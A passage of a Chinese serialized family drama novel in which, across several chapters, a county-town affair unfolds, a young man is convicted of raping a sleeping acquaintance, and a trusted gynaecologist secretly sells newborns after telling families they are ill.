“没有。”吴之玄如实回答:“蜇了也没到医院看吗?”
“看了,大夫给带了些药让消炎。”
“蜂蜇了也需要消炎?第一次听说。”吴之玄感到奇怪。
“那也是根据个人身体素质考虑的,不一定非吃不可。”
“我感觉她那看起来好像不像是蜂蜇的?”
“不是蜂蜇的还是我
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打的?”
普选笑着问。
吴之玄笑着说:“哎,还真是,你俩吵过架吗?你打过她吗?”
“听真话还是假话?”普走盯着靠在墙上的吴之玄。
“你选择。”吴之玄把问题抛给普选。
“真话是没打过,假话是打也不舍得,嘿嘿。”
“我一看你俩关系就令别人羡慕,妇随夫唱,美满家庭。”
“少戴高帽子,吵架是吵过,就是没动过手,吵架是正常的辩论,也是相互沟通的一种渠道,了解彼此需求的最好方法。所以有时我故意找她吵,从另一个角度也是知道对方的心理到底是咋回事。至于打架,我从小到大还真不知道打人是先出左拳还是右拳?丢人不?”
看着普选认真的样子,吴之玄心想,宁馨虽然前面受了那么大的灾难,能嫁给普选也真是选对人了。
“那眼肿看起来你不是嫌疑人了?”吴之玄开着玩笑:“她可能判断失误了,还说像是被打的。”
听着吴之玄莫名其妙的话,普选不明的问:“谁干啥判断失误,谁说谁打谁?”
“噢,莎莎说这可能是撞击伤,看来医务人员也靠不住。”吴之玄故意说着。
“其实不瞒你说,那就是被打的伤,并不是被蜂蛰的。”普选说出了实话。
“那为啥被打啊?”
“你打的?”
“可能吗?”
看着吴之玄刨根问底的架式,普选无奈的讲起了宁馨眼睛受伤的经过。
孩子几天哭闹不休,一喝奶就哭,宁馨两口到村上找到乡村医生给看,乡村医生推荐到县城附近的西甫村中医宋大夫处。
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第29章 相识复印部,情结相知时
“你怎么在这里?”跟在沈莎莎后面提着礼品的赵贵卫看见坐在院子的粉婷,愣住了,脸一下红了起来。
“这是我屋哩。”粉婷也好奇的说着:“你到这儿是?”
提着水果的沈莎莎扭过头问赵贵卫:“你俩咋能认识?”惊得颇为惊讶!
赵贵卫说不出话,粉婷平静的对沈莎莎说:“我是老亲戚,他是我舅家村的。”之宇媳妇的回答让沈莎莎很是惊讶:“你俩还是亲戚?没想到,没想到。”沈莎莎自言自语地说着,向后面的上房走着,边走边喊:“妈哎,我给你拿的香蕉太重了。”
吴之玄的母亲从房间里出来了,她手上全是面粉:“你回来了,我正把磨的面往袋子里装,你走时带上。”
“你那俩个孙子饭量现在大的很,光做糊糊,一袋面一个月都不够。”沈莎莎把手中的水果放在厨房的案板上:“我中午不吃饭了,我把面一拉就走,那司机还有事哩。”
“也行,不吃就不吃了,你今天把面拉下去,等粉婷出月了我就到县上了。”沈莎莎公婆说。
“我能敢去粉婷房子看娃不?”沈莎莎问。
““你是娃他大妈,当然可以看。”婆婆说。
“你先收拾,收拾好了叫我,我去看看娃。”
沈莎莎从上房出来,看到赵贵卫正把手中提的一盒石榴递到粉婷手里:“我不知道这是你屋。”
沈莎莎说:“粉婷收下,吃去,我那里多很。”
粉婷没有接赵贵卫手中的礼物:“我吃不惯。”
在房间给孩子换完尿布的粉婷母亲出来了,当她看到赵贵卫时也愣了一下,没想到在女儿的公婆家,见到自己的娘家人。
“卫卫,你咋在这?”粉婷母亲不明就里:“你和这儿有啥亲戚关系?”
正和粉婷说话的赵贵卫恨不得找个地缝赶紧钻进去,太丢人了,人丢的太大了。咋都没想到会在这里碰到本村的人,本村人就罢了,谁成想,本村人竟是本家人,按辈份叫姑婆的粉婷母亲!
赵贵卫红着脸不知如何回答,胡乱搪塞着:“我帮忙送嫂子回来有个急事。”
赵贵卫感到了自己很不自然,姑婆也看出了赵贵卫的窘态,她对粉婷说:“你给卫卫倒点水去。”
来到院子的沈莎莎笑着对粉婷母亲说:“姨,你不管,赵师车上有水哩。”说着给赵贵卫使了个眼色,赵贵卫尴尬的说:“噢,不倒水,不倒水,我到车上取水去。”
说着便把手中的礼盒放在粉婷的门囗。
沈莎莎提起礼盒搀着粉婷母亲:“走,姨,让我把之宇的胖娃看一下。”
粉婷陪母亲和嫂子一同进了自己的房间。
边往门外走的赵贵卫却纳闷了,没想到沈莎莎的小叔子娶的媳妇竟是姑婆家的粉婷!虽然不是特别亲,但还是让贵卫多少有点怀疑他和沈莎莎的关系,是否还需要维持下去。
贵卫想到了他和沈莎莎的相识过程。
赵贵卫在县医院的大门对面开了个打字复印部,由媳妇经营着。在县人劳局上班的贵卫一下班就去给媳妇帮忙。
已调到总务科的沈莎莎这天来到贵卫媳妇的打字复印部打印资料。
由于资料太多,打印完后还要装订成册,沈莎莎和贵卫媳妇忙了一大早还没干完。
到饭点了,沈莎莎回到医院吃完饭休息了一下又来到了赵贵卫的打字复印部。
沈莎莎则一进打字复印部发现
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一位戴着黑框眼镜的中年男子正在装订自己的资料,没见到贵卫媳妇。
“老板人呢?”沈莎莎问。
正在干活的中年男子转过身看到沈莎莎,突然好像定在了那里,他眼睛死死盯着沈莎莎,没想到来了一位漂亮的女士。
沈莎莎身着一袭淡蓝色的连衣裙,宛如仙子般款款走来。她的皮肤白皙如雪,细腻如丝,宛如珍珠般散发着柔和的光泽。她的脸上挂着深深的酒窝,每当她微笑时,那对酒窝就像是甜甜的酒涡,让人陶醉其中。
干活中年男子一手拿钉书机,一手拿资料正坐在她的对面,他转过身的目光完全被沈莎莎吸引住了。
他目不转睛地盯着她,仿佛她是这个世界上唯一的焦点。他的眼神中流露出一种深深的欣赏和倾慕,似乎被她的美丽和魅力所征服。时间仿佛在这一刻静止了,只有沈莎莎的美丽在他的眼中闪耀。
沈莎莎被中年男子的眼神盯得不好意思,看到他没有回答自己的问题,沈莎莎眼睛盯着桌上堆满的资料:“你在装订我的资料?”
中年男子似乎从梦中惊醒,这才站起身来说:“老板给民政局送材料去了。你是医院的?”
沈莎莎躲避着中年男子的眼光,保持着一定的距离感:“噢,就是的。”
中年男子边用钉书机装订资料边说:“我给帮忙干干就完了。”
沈莎莎不知道这个中年男子的身份,她小心翼翼地问:“那你是?”
“给凤霞帮忙的朋友。”
中年男子狡黠的笑着回答,让沈莎莎多少有点怀疑他在撒谎。但她和道了老板娘的名字。
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第30章 三十年的牵挂,却被一个电话勾起回忆
坐在电动车后的美茶手机响了。
她按通了电话:“喂,谁?”语气中带着不耐烦。
电话的那头一个男人的声音送到美茶耳旁:“您好,请问是面花店李老板吗”?
美茶突然觉得这个男人的声音似乎很熟悉,便缓和了语气:“是谁?咋听这声音咋这么熟悉的”?
对方没有直接回答她的问题:“我想问你的地址是不是在城关南街,我想订点面,在这找不到你的地址,你能不能出来接一下我”?
什么客户?如此牛气,还让我出去接他:“你看到文军诊所了吗?就在诊所西边的李记面店,门口有牌子的”。
美茶口上说着,心里在嘀咕这个客户如此特别,这个声音如此熟悉。
“听你好像在外面,是不是接不了我?你在开车吗”?
是个怪人!听电话还挺仔细的,都能听到我在行上,只不过不是轿车,也不是我开。
美茶想着碰到奇怪的人了:“我媳妇驮我去娘家有事,我不能接你”。
说话的同时,冥冥之中,美茶突然心怦怦跳了起来,似乎感觉到前几天梦里的境况正在现实中发生,而且就在现在。
不可能吧?如果是真的,那这个男人的身影肯定就是他了。
想到这些,美茶更是心跳加速,30年的多方打听费尽周折也没有结果心愿,却在这电话的通话中似乎马上实现。
对方停了一会儿:“噢,你在忙?那我先找找”。
还未等美茶回复对方就挂了电话。
美茶有一种预感,这个人肯定就是自己一直在找的人!
她坐在电动车后,思绪飞到了30年前。
美茶提前一个月回老家了,她要结婚了。
美茶的走很是突然,闫安一点信息都不知道。
当闫安从同事口中知道美茶要结婚的消息时他怔住了!
不可能!根本不可能!
闫安很是坚定认为美茶即是要结婚无论如何都给自己说一下。毕竟两个人在奶粉厂的爱情搞得轰轰烈烈,让所有人惊掉下巴。
虽然闫安知道美茶来厂上班前就已在老家订婚的事,但和他的交往中一直信誓旦旦,唯闫安不嫁!
美茶和闫安是同时被招进奶粉厂的。只不过闫安是正式工,美茶是临时工,之所以身份不同,正是因为闫安的表哥吴之玄通过关系给搞了一个商品粮户口,而美茶却因农村户口不能参加招工考试。
闫安和美茶相识缘于一个毛笔字,这个字就是“会“。
正在车间干活的闫安被车间主任通知去厂部办公室。
戴着眼镜正趴在桌上的办公室主任看着报纸,被闫安的敲门声吸引而起身。
办公室主任摘掉眼镜,放在桌上,笑眯眯的看着闫安:“小闫,来,坐,坐”。
办公室主任用右手示意让闫安坐在旁边的连椅上。
闫安拘束地搓着手,谨慎地看了看连椅,又看了看办公室主任,小心翼翼地坐了上去,不知说什么,一言不发。
“你是干石村人?”办公室主任问:“县一中毕业”?
闫安机械地点了点头:“噢,就是的”。
“咱俩是校友,只不过我上学时不叫县一中,叫县中学,后来上学学生多了,又开了个学校,你们这一茬子学生也真多”。
闫安心里还在惦记自己今天的生产产量,不要让办公室主任这
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聊天的话题耽误自己挣钱。
闫安不知办公室主任要说什么,应付的只是点了点头。
“听说平常在宿舍爱练书法”?
一说到书法,闫安突然不拘束了,放松了下来:“不敢说是书法,是毛笔字,胡画哩”。
“不管咋说,反正都是要用到毛笔的,对吧”?办公室主任笑着说。
“就是就是”。闫安点着头。
“年轻时要多学些东西没坏处。今天叫你来就是要发挥你的长处,给咱厂写个横幅”。办公室主任边说边走近闫安。
“横幅”?闫安不明白是什么东西,不解地望着走近自己的主任:“我不知道是啥东西”?
办公室主任笑了笑:“你真是个实在人,我喜欢这样的年轻人”。他用手拍了拍闫安的肩膀:“不知道不要紧,见上一回就知道什么是横幅了。走,去会议室“。
闫安跟着办公室主任上了二楼来到了会议室。
这可是闫安自进厂半年来第三次进到厂里的行政楼,第一次就是在办公室办的入职手续,第二次就是在会议室参加的新工岗前培训会。
今天被办公室主任再次领到会议室,对从农村出来的闫安来说,总觉得这个地方根本不是他这人能来的什么高上地方,他认为自己就是一个在车间开着机器为职业,拿着工资上班的乡下人。
虽然自己是个正式工,但闫安总觉得自己还是比城里人低个档次。
现在做梦也没想到会来到这他连想都不敢想的行政楼上。而且是被车间主任领着。
“你看这笔大小咋样”?办公室主任的问话打断了闫安的思绪。
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第31章 仅仅因为一杯水,引发情感起波澜
正准备下班的闫安被一陌生女孩喊出了名字,闫安一阵惊愕!
当闫安以怀疑的眼神盯着那喊自己名字的女孩时,女孩害羞的红了脸笑了起来:“是主任叫你的”。
说完那女孩用左手指向行政楼:“办公室主任叫我叫的你”。
说完那女孩匆匆忙忙向行政楼走去。
闫安当时在车间急着干活,本来就是计件活,闫安一直都在想办法把时间利用起来,下班时竟把中午写横幅的那件事给忘了,当这个陌生女孩指向行政楼时,他才想起了写横幅的事。
看 着这女孩向行政楼走去,闫安也跟在身后,向行政楼走了过去。
进了行政楼,闫安看到,那个女孩正站在一楼办公室的门口,向办公室里望着,闫安刚走到办公室门口,办公室主任走了出来,看到闫安主任说:“我还担心你下班走了,让那谁去找你。是这,你把中午写的那横幅的几个字给重新写一下,美茶在别字的过程中,说是把几个字弄坏了,来找我说明情况了,我让她去包装车间把你喊来,又得辛苦你了”。
主任说完,朝他们两人挥了挥手,示意让他们去上二楼,闫安和那女孩相互看了一眼,都心知肚明的向二楼走去。
到了二楼会议室,闫安看见和自己一个车间的吴姐跟两个女员工把自己中午写的字往红底色的布上别着。
见闫安进来了,吴姐说:“没想到我闫安还是个书法家,真是人不可貌相,海水不是豆浆,你能写一手好毛笔字,难得的人才呀。”同时干活的那两位女工友抬起头朝闫安笑了笑,示意打招呼。
闫安突然觉得非常不自然,第一次写字就被别人夸奖,心里不免有点开心便笑着说:“吴姐真会开玩笑,什么书法不书法的,还是家,我可谈不起,就是个普通的包装工人而已”。
说完闫安问同她一块上楼的女孩:“美茶,是你的名字吗?主任才说的就是你吗”?
那女孩看了闫安一眼说:“啊,是我的名字,你就叫我美茶吧“。
“哦,我知道了,我现在才知道你的名字,你刚才在车间门口喊我的时候,我还不知道你的名字,你是哪个车间的”?
美茶提起他刚写的一张烂了的纸答道:“检验科的,叫你来是把这个字重写一下。“
闫安这才注意到美茶手里提着他中午写的那个会字,黄色的纸上的黑字被涂的辩不清字型,从旁边还被扯烂了一道缝。
“这是咋回事?”看到美手里拿着他写的那个会字,延安问。美茶红着脸说:“我把水杯放在这字旁边的椅子上,谁知一转身把水杯子撞倒了,水流到字上了,我急忙把纸想提起来,没想到从旁边给扯了一道缝,字也被水糊得用不成了。只能给主任说想办法了,字浸湿了,没法用了,我去告诉主任看咋办?我就让他下去找你去了”。
看到美茶满脸的诚恳,像个做了错事的孩子,闫安笑了起来:“噢,就是这事,没事,原来是要重新写这几个字,好吧,我重写一下就完了,小小个事“。
说完,延安就拿来笔和纸,在美茶的帮助下,裁纸,折纸,倒墨汁,试着写。美茶都在和他默契的配合着。
有时候真奇怪,平常写字都很顺利流畅的闫安,现在只写一个会字,竟然觉得旁边站个女孩不会写了。
他写了三次都不满意,吴姐已把其他的字别完了,就等他-写完这
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个会字后,就可以下班了。
当吴姐和其他姐妹站在闫安旁边看时,闫安更是写得生涩,以至于字都变形了。
美茶都熟悉他写字的程序了,笑着说:“反正是公家的纸,权当练字了”。
这句话把闫安说的更不好意思了,自己平时大笔一挥随便就能写出来的字,今天在四个女人面前显得如此的拘谨小心。
越是小心认真越是写不好。
吴姐看出了闫安的拘束说:“你赶紧写,我几个急着下班哩,随便画一下,太认真了就放松不了。没事,这下无论好与坏只要干了就别上去,咱都可以下班了,赶紧划拉几下”。
有了吴姐的催促,闫安更加着急。当美茶把折好的纸摊在他面前时,他也是想,反正好坏就写这一次,能用不能用就直接用去吧。
字写完了,三个女工友在等干透的同时顺便看着放在地上的四个会字。
“要不就把这个字别上去”。一工友指着第二个会字说:“我觉着这个字还写的好,而且已经干透了”。
吴姐提起那张纸说:“行,就别这个,一别再就完事回家了”。
说完三个人就把那个字放在红布上别了起来。
从外面涮完毛笔的闫安进来后看到干活的吴姐们问:“干了吗?可以别了”?
正在整理桌面的美茶说:“最后写的字没干哩,吴姐用了前面写的”。
吴姐抬起头说:“大家觉得第二张写的好,又干透了就用了,你的辛苦没白付出”。
“啥辛苦不辛苦,咱都一样”闫安边把毛笔往笔帽里放边说。
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第32章 乡党少年成罪犯,女方退婚惹事端
心疼和亚宁怎么都没有想到何川竟被判刑入狱了。
这样的结果并不是她俩想看到的结果,特别是对亚宁来说,她根本没有意识到自己的生气换来如此的结局。
当亚宁看到判决书上的“强奸罪”三个字的时候,亚宁心里怨气冲天,她尽量不去看那三个字。只要看到“强奸犯”三个字时,她心中一阵刺痛,仿佛被尖锐的物体深深扎入。她的身体不由自主地颤抖起来,过去的遭遇如潮水般涌上心头。那是一段黑暗的日子,从而身心都受到了极大的创伤。
回忆起那个可怕的夜晚,亚宁的脸色变得苍白。她的眼神中充满了恐惧和痛苦,仿佛又回到了那个被侵犯的时刻。她的呼吸变得急促,心跳加速,身体不停地颤抖着。
亚宁试图让自己平静下来,但那三个字却像魔咒一样萦绕在她的脑海中。她感到无比的愤怒和无助,对强奸犯的仇恨涌上心头。她咋都没想到,仅仅和闺蜜去了一次县城,竟引发出一个强奸犯的出现。自己从事发到法院判决才知道,强奸犯对一个年少的男孩是一生的毁灭,对自己更是终生的改变!
原希望能够给何川一个教训,好让他不再犯这样的错误,谁知法律是不讲情面的。无论是有上学之交的同学还是社会工作的同事,一旦超越法律的界限,等待他们的就是罪犯的罪名,会被绳之以法,让他们意识到法律的神圣,让亚宁明白了法律不是儿戏,是保护老百姓的有力武器。
亚宁想起父母埋怨自己的情形,她自己也有点后悔了,为什么当初稀里糊涂就听了闺蜜心疼的话选择报警呢?父母第一次在派出所来家的时候就预感到有什么坏事发生。
当亚宁父亲在闺蜜宿舍找到亚宁时,竟被心疼以男朋友倒卖火车票而被公安追查搪塞过去。
现在公安把案子查清了,何川强奸罪名成立,直接判刑!
多半年的时间里,亚宁总在惴惴不安中度过。她心神不宁、寝食难安,为的就是公安频繁的询问以及难以开口的证词。
意想不到的突发,闺蜜心疼的执着坚持,自己的胆怯怕事,自己的不知所措,都让自己最相信的人心疼,挺身而出来维护女孩子的合法权益,令亚宁没有想到的是,随着案件的侦破,她的名声也伴随着案件的侦破而毁于一旦,让人知道了那个被糟蹋过的女孩就是自己。
如果不报警公安不介入,那段令人揪心的伤痛将成为成长中的一段记忆,永远都是尘封在记忆中的伤痛,想起来心就永远堵得慌!
但那段永远刻在他的心上的,烙在他心上的伤痛,那天晚上发生的那一幕,只要一闭上眼睛,就历历在目,日同幽灵一般附着在他身旁,令他精神崩溃,难以忘怀。
国庆那几天陪闺蜜心疼,去县城找闺蜜的男朋友张志奎玩,当天晚上,张志奎好友的朋友合何川,要求住在张志奎的宿舍,当晚上看完录像后政府大门关了,进不了张志奎的宿舍,无奈的何川就来到李志奎订的招待所,让服务员打开了亚宁所住的208的房间。
亚宁被进了房间的何川的到来吓坏了!
因为张志奎的关系,加上乡党关系白天又在一起玩了一天,和何川比较熟悉了,何川说招待所没有房间了,看着时间已经两点多了,亚宁盯着房间两张床,既然何川两次让服务员开了自己的房门,说明真的就没有房间了,他想着让何川在房间里将就一晚上天就明了,因为他和心疼他们说好了,明天还要去爬山,玩一天,现在都到后半夜了,初世未深、心肠太软的亚宁还是收留了何川。
但川的话很多,成了一个话唠,东拉
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西扯地说着一些亚宁并不感兴趣的话,斜停在床头的亚宁确实跑一天太乏了,对何川的话没听几句就迷迷糊糊中就进入了梦乡。
而何川东拉西扯乱七八糟的滔滔不绝时,猛然才发现自己所讲的一切,亚宁根本没有听,他早已进入梦乡了。
何川问了一声你听着么?
没想到亚宁根本没有回答他。看起来亚宁真的困极了。
令何川没有想到的是,如此美丽漂亮的女孩,睡起觉来竟然会打起呼噜来,而且声音特别的大,这对二十岁出头的何川来说,第一次和一位女孩同处一室是那么的激动、新鲜、刺激、不安。
看到斜倚在床边的亚宁,他把亚宁的腿放在了床上,用旁边已拉开的被子给亚宁盖了起来,当他把被子盖到亚宁的脖子跟前时,看见亚宁那白皙的脖子,在白衬衣的衬托下显得更加白皙好看,看到起彼伏的胸脯,录像中女主角的那烈焰红唇、妙曼身材、勾魂眼神让何川在面对眼前这个貌美如花的亚宁产生了想法。
他的心怦怦乱跳、口干舌燥、浑身不自在。他壮着胆不由自主的去亲了一下亚宁的脸,又试探性的吻了一下那个白里透红的嘴唇,竟然发现亚宁没有丝毫的反抗。
这就给他提供了大胆的信号,他认为,这是亚宁故意装作不知道,让他更加进一步得寸进尺。何川的胆子更大了起来,他试着将亚宁的裤子解开,看了一下亚宁,亚宁也是太乏了,她没有任何反应,这更刺激到了何川。他试着将亚宁的裤子退到膝盖下的时候,何川又看了一眼正在睡觉的亚宁,还是没有任何反抗的意思,何川就大
胆的把她的裤腿全部扒了下来,他看到了亚宁那两条白如玉笋孙般的玉腿时,邪念迸发。
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第32章 调查组进驻医院,惊天秘密被揭开
2012年7月31日,星期二
心神不宁的沈莎莎用赵贵卫送给她的红色苹果手机给赵贵卫发了一条信息:东西买没?棉3斤,麻214。
正在县上开会的镇长赵贵卫看到沈莎莎发来的信息内容,他立刻明白了,下午三点在棉麻宾馆的214房间见面。
肯定有什么重要的事要说,毕竟沈莎莎和自己还不是合法夫妻,上面这段时间正在对自己进行考察,一旦通过,党委书记的位置肯定是自己的了,那时就可以光明正大的和沈莎莎生活在一起了。
想到这里赵贵卫心里笑了起来,马上就回复了两个字,买了。
这些对于外人来说,看不明白的暗语都是沈莎莎和赵贵卫他们商量的暗语,为的是他们的约会见面,防止万一被旁人或上级抽查手机而想出的约会“密电码”。
确认赵贵卫可以脱身后,沈莎莎提前一点多就来到了县城外的棉麻宾馆214室,这个房间几乎是她的包房,只要她来就要214,所有的住宿费全由她开票交给赵贵卫在机关报销。
她进了房间直接躺在床上,这几天她寝食难安,坐卧不宁。这不,早上不是又让省上调查组来的人找到谈话了。
已经找她谈过几次话了,从来没有经这样场面的沈莎莎,真是被调查组人员的问话吓得不轻,她可能涉及到参与之中,那便是帮凶也可能被定罪。
这几天医院人心惶惶、业务几乎停摆。为的是省调查组进驻医院,上下人调查组都在找谈话,特别是原来在产科的所有人员,都要逐个单独谈几次的话。特别让沈莎莎一直萦绕在他的耳旁的是,你到底帮助他们改没改病历?认真想想。
就是这句问话,让沈莎莎也觉得自己到底改没改都不知道了,他一直在努力的回忆着,越回忆越糊涂,越糊涂越回想不起来。今天已经是调查组第三次和他谈话了,虽然调查组对他们这些人员的行动自由不受限制,也不进行跟踪监视,但沈莎莎出来的时候还是东躲西藏,担心被跟踪。
她如坐针毡,担心万一这件事牵扯到自己,可能就是要坐牢的事,毕竟这次是省上直接下来的调查组,县上人是说不上话的。
人常说怕怕处有鬼,痒痒处有虱
沈莎莎担心的事还是发生了,因为他在早几年前就给丈夫吴之玄谈过离开医院的事,丈夫当时考虑的是医院是铁饭碗,为了孩子的户口,坚决不允许她辞职,她为了孩子还是坚持了下来,但现在这件事被抖落出来了,自己担心的事还是发生了。
沈莎莎也知道,这一次是省上直接来的人,就是县医院和市里想盖都盖不住的事件了,毕竟影响太大了,而且有些人已经在网上发了帖子,把这件事捅到了网络上,民情气氛瞬间点燃,医患关系更加紧张。现在他们的医院都成了全国的焦点了,全国人的眼睛都紧盯这件事。
沈莎莎觉得,虽然自己现在在行政岗位上,但有些事都是在她在产二科的时候发生过的事,具体改没改病历她真记不起来了,都七八年前的事了,所以她的心一直在悬着,通知在人劳局上班的赵贵卫来给自己出主意。
躺在宾馆里的沈莎莎,一闭上眼睛就是周淑敏主任那慈眉善目的表情,他见人总是笑眯眯的样子,一副弥勒佛的神态,给任何人的感觉都是好亲切,好和蔼。如同邻居大妈一样普通、平凡。
令沈沙沙不明白的是,
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这个曾经和自己在一起工作过的医生,获得过十几次的荣誉和奖励,真的就拐卖七八个婴儿吗?真是知人知面不知心!
说到这个周主任,那可真是个人才,卫校毕业后分到县医院,一干就是二十几年,从护士干到现在的县医院的妇产科副主任,自有她的过人之处。
想以往,在县域这个地区是有名的好妇产医生,也是产妇心目中的放心医生,熟人医生,邻居医生,自家医生,无人不知,她的热心积极成为产妇家属喜欢她的理由。而目前调查组已经让停了她的工作,听说还把他带到不知道在什么地方去谈话去了。想到这,沈莎莎一阵紧张,他真担心,调查组把哪天把自己也叫到什么地方去谈话?
如果谈话,那就意味着她也有犯罪的嫌疑。
说到犯罪这两个字,沈莎莎一阵惊悚,她知道犯罪和犯错的区别有多大,她更明白现在的姐姐仍然心里有解不开的结,就是原来她也是犯过罪的人。
犯了罪的人都是会失去人身自由的,何等可怕?
县上谁人不知道妇产科的周主任?手术又高明,人缘又特别好,许多人生孩子的家属都托关系找她,认为周主任是非常可靠的人,可没有想到的是,周主任,拐卖婴儿在县域熟人的社会中,他的行为颠覆了人们之间的温情,撕裂了人和人之间的基本信任,毁灭了产妇对她的良好形象。
而事件的起因还是因为周主任的熟人的儿媳妇生孩子。
31岁的赵胜男在一家石油公司上班,妻子是一名幼师,育有一双女儿,夫妻二人你恩我爱,家庭幸福。
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第33章 新生婴儿出状况,家属欲见阻碍多
赵胜男的爸爸看着来荣和儿子以及媳妇在床边抱头痛哭的场景,他的心里也难受了起来,他知道这个孩子对于赵胜男来说是多么的重要,对自己来说也是何等的重要,但现在周主任说孩子有先天性疾病,首先,受到打击的就是赵胜男的媳妇来荣。
此时刻的来荣,在床上不停的抽泣着,婆婆一直在旁边安抚着她,希望她情绪能安静下来,一再告诚千万不要因为这件事而影响了身体,况且更是在产后啊。
看着小声哭泣的儿媳妇,站在门外的胜男爸爸,直接向产房手术室的方向走去,他的想法很简单,就是让周主任允许他看一看自己的孙子,也好回来给来荣一个交代。
他推开了妇产科手术室的房门,两位护士正趴在桌上吃着饭,看到进来的胜男爸爸,他们两个都感到很惊讶,其中一个:“叔,你在这干什么?你找谁?你是不是走错地方了?这里是妇产科手术室啊”。
胜男爸爸平静了一下心情说,“哦,护士,是这样,我没走错地方,我就是来到妇产科手术室来找个人的”。
“谁给你开门”?
“你们手术室的门是打开着的呢”?
两位护士姐姐相互看了一眼,其中一位大喊啊的一声,忙说:“有没有搞错呀,打完饭忘关门了”,说着就出去关手术室的大门的门。
胜男爸爸转过身问正在关门的小护士,“周主任,现在上班吗?”
正在关门的小护士用疑惑的眼光看了看胜男的爸爸说,“你找她呀,早就下班了,手术都做完了呀”。
“那他什么时候上班”?胜男的爸爸问道:“他不是早上还在上班吗”?
“哦,我们主任只上半天班,现在都1:40了,她早就下班了,12点就下班了回家了”。
“那他今天就不来了吗”?
“不知道,你有什么事?那只能等明天说了”。
“那我问问你们两位小护士,可以吗”?
两位护士相互看了一眼有疑惑的望着胜男爸爸“问我们?你说什么事”?
“哦,是这样,就是早晨六床的来荣生的孩子,好像周主任说是什么有什么疾病,是不是有这回事啊”?
“现在的怀孕的妈妈都经常做孕前检查的,在这里出生的婴儿一般不会有什么问题啊,更不会有什么疾病”,一位护士姐姐放下手中的勺子说:“这样的概率很少,应该不会吧”。
关门的那位小护士看看了一眼说话的小护士说:“我们是刚接班来的,不知道什么情况,也给你说明不了什么”,说完,他又看了一眼旁边的小护士。
旁边的小护士突然好像明白了什么,他站起身来说:“有什么事你可以去医生办公室咨询一下,我们只是具体在下面搞工作的人,好吗”?
“你们这里应该有产妇的病历报告或者孩子什么之类的东西或者资料,应该可以查得到的呀”。
关门的护士转过身来,对胜男的爸爸说:“哦,是这样,叔叔,非常对不起,这是牵扯到产妇的个人隐私的问题,我们是不方便透露的”。
“不是让你透露不透露的问题,我就是说让你们查一查,看是不是有患病的婴儿的记录在案的”?
“对不起,这个我们做不到,如果没有什么事,叔叔请你站在门外边去,我们要工作了”。关门的小护士微笑着对胜男的爸爸说。<
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p> 胜男的爸爸并没有离开的意思,“你帮我查一下,看有没有哪个孩子是不是患有病?我可以给你们两个人的好处”,说着,胜男爸爸从口上衣口袋里掏出200块钱,“如果你们给我查了一人一半”。
两位护士姐姐先是一惊,然后向四周看了看,面面相觑,不知所措。
关门的护士护忽然反应了过来:“叔,对不起,我们真的做不到,你赶快走吧,不要让别人看见,小心我们没饭碗了,我们就当没发生,你快走”。
说着就把剩男的爸爸推出了手术室的门。
胜男的爸爸被关在了手术门外,他还朝里面喊:“我就是想看看我孙子”,他又拍了拍手术室的门。
“叔叔,你不要在这里大声喧哗了,以免影响别的病人好吗?有什么事你去医生办公室咨询,我们这是手术室好吗”?
站在门里的小护士向赵胜男的爸爸说道。
或许是小护士的温柔态度,胜男爸爸停止了大声喧哗和拍打门的举动,他站在门口想了想,然后就坐在旁边的椅子上,过了一会儿,他站起身来向病房走去。
在胜男爸爸的心目中,他的想法很简单,就是人们常说的,耳听为虚,眼见为实,虽然爱人转告他的是周主任说的话,但是在胜男爸爸的想法中,无论孩子的好与坏,健康与疾病,至少孩生了出来,必须看到孩子一面啊,真正的是什么情况?我心里也有个衡量标准呀。
胜男爸爸站在病房门前喊了一声爱人的名字,爱人出来了。
胜男爸爸从口袋里拿出一张纸巾递到爱人的面前,让擦干眼泪。
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第34章 渴望金钱的拥有,丧失人性的交易
“真是一个多事的家属”!在家的周淑敏,挂完胜男爸爸的电话,生气的把手机往沙发上一扔,说道:“屁事太多,今天是想坏了我的好事,没门”!。
她看了一眼挂在客厅中间挂钟8点01分。没想到和这多事的家属还说了三分钟的时间,真是奇了怪了。
怨气满腹的周淑敏,轻轻的推开了房间的门走了进去,看着中午刚抱回正在熟睡的婴儿。
小宝贝儿,你的爷爷和奶奶还要和你见面呢,你是不是不想见他们呀?我知道你肯定是不愿意见他们的,我到时候给你找一个更好的爷爷和奶奶,可以吗?
看着婴儿闭着的眼睛,一张一吸的嘴,均匀的呼吸着,周淑敏的气一下又消了,心里笑了起来,小宝贝儿,你真是我的摇钱树啊,我才不愿意让你的爷爷和奶奶见你,他们见到你肯定不愿意让你走的哟。
看着睡得十分香甜的小生命,坐在床前轻轻抚摸孩子周淑敏有一种负罪感,每次她把抱回来的婴儿都这样轻抚,给予孩子无法得到的母爱,做为一种补偿,毕竟孩子是无辜的。
自己也是当母亲的人,利用职权,无中生有,臆念病情,欺骗家属,抱走孩子,对任何一个家庭来说,都是在割断亲情啊,是他们深陷到失去孩子的痛苦中。这一点,作为一个母亲,一个近50岁的女人比任何人心里都清楚。
以往抱回家的孩子都是在家里待不了多长时间的,而今天这个孩子目前是在她家待的时间恐怕是最长的。
说到这个小孩,还真和别的孩子不一样,虽然把营养针给打了但就是不怎么听话,几次别人-来电话的时候他就哭出声来。自己还特别在意这个,专门把手机音量调到震动,但很神奇,当你听到震铃声孩子就哭,真是邪了门。是不是孩子能听到震动声,且对震动声很敏感?
想到这,周淑敏的手轻轻的从孩子身上离开,她在客厅拿来手机,用这一部手机拨打另一部,通了,手机震动了,周淑敏故意将震动的手机放在孩子的床上响了好一阵子,孩子仍呼呼大睡,没有任何反应。
真是奇怪,今天手机在茶几几次震动孩子都哭出声,吓得周淑敏不敢接电话,现在放在你床上你都睡得如此香甜,莫不是茶机共振传到这里?
反正早着哩,自己也没事干。周淑敏便把手机放在茶几上试着拨通,然后站在孩子床边根本听不到。她又轻轻俯下身子趴在床上把耳朵贴在床上啥也听不到。真是奇怪!
周淑敏挂了电话看了看正在熟睡的孩子,无奈的摇了摇头,轻轻的出了房间。
搞不明白,周淑敏自言自语着,她刚坐在沙发上,一个激灵,该不会是爷爷奶奶的电话他能感应到?
想到这,周淑敏马上拿起另一部手机翻开查未接来电,8个未接,除了一个外,孩子的爷爷是3个,奶奶是4个。
我的乖乖,周淑敏细想着这些来电的情形,没错,基本都是来电的同时孩子在哭,而且这个孩子的哭声贼有劲贼大贼大。
难道这就是心有灵犀一点通,家人的相互感知?冥冥之中亲情感应?
想到这,周淑敏头顶掠过一丝不祥的冷气,难道老天爷在阻止我今晚这场交易?还是孩子的爷爷奶奶在为难我的出手?难道我做的这做孽的事要被人知?
周淑敏想到这,无意识站了起来,她向周围看了
